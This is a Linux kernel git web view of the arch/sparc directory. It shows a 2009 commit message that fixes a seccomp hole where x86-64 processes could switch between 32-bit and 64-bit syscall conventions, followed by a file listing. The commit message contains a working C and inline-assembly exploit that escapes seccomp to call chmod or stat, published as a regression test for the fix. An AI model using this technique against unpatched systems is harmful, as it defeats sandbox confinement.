linux/arch/sparc
Roland McGrath 5b1017404a x86-64: seccomp: fix 32/64 syscall hole
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does "chmod 777 ." (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include <assert.h>
	#include <inttypes.h>
	#include <stdio.h>
	#include <linux/prctl.h>
	#include <sys/stat.h>
	#include <unistd.h>
	#include <asm/unistd.h>

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = ".";
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");

	#ifdef __x86_64__
	  assert ((uintptr_t) dot < (1UL << 32));
	  asm ("int $0x80 # %0 <- %1(%2 %3)"
	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
	  ret = snprintf (buf, sizeof buf,
			  "result %ld (check mode on .!)\n", ret);
	#elif defined __i386__
	  asm (".code32\n"
	       "pushl %%cs\n"
	       "pushl $2f\n"
	       "ljmpl $0x33, $1f\n"
	       ".code64\n"
	       "1: syscall # %0 <- %1(%2 %3)\n"
	       "lretl\n"
	       ".code32\n"
	       "2:"
	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    "stat . -> st_uid=%u\n", st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
	#else
	# error "not this one"
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath <roland@redhat.com>
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2009-03-02 15:41:30 -08:00
..
boot sparc,sparc64: unify boot/ 2008-12-04 09:17:21 -08:00
configs eeprom: More consistent symbol names 2009-01-26 21:19:57 +01:00
include/asm x86-64: seccomp: fix 32/64 syscall hole 2009-03-02 15:41:30 -08:00
kernel sparc64: Fix crashes in jbusmc_print_dimm() 2009-02-11 00:54:07 -08:00
lib sparc64: Fix probe_kernel_{read,write}(). 2009-02-08 22:32:31 -08:00
math-emu sparc64: unify math-emu 2008-12-04 09:16:56 -08:00
mm sparc64: Kill bogus TPC/address truncation during 32-bit faults. 2009-02-03 16:28:23 -08:00
oprofile sparc64: Implement NMI watchdog on capable cpus. 2009-01-30 00:03:53 -08:00
prom sparc: Eliminate PROMLIB_INTERNAL as it does nothing 2009-01-08 16:59:01 -08:00
Kconfig [CVE-2009-0029] sparc: Enable syscall wrappers for 64-bit 2009-01-19 20:21:49 -08:00
Kconfig.debug sparc: unify Kconfig.debug 2008-12-04 09:16:48 -08:00
Makefile sparc: unify kernel/init_task 2008-12-04 13:28:09 -08:00